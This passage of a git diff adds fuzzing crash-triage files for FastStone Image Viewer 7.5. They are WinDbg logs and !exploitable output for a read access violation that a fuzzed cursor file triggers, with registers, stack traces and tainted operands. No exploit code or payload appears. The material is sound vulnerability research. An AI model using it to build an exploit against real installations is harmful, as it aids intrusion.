+BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e1afc80 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..2abfa28 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..04aca39 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC90: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC90: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c90.bd8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07e67b10 edx=00003879 esi=12768f40 edi=0fc54fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.7735e-012 2.22296e-025 -2.0682e-017 -4.56143e-017 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002c7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002c7000 1d6dbdc5 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002c7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..04aca39 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7774/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC90: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC90: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c90.bd8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07e67b10 edx=00003879 esi=12768f40 edi=0fc54fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.7735e-012 2.22296e-025 -2.0682e-017 -4.56143e-017 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 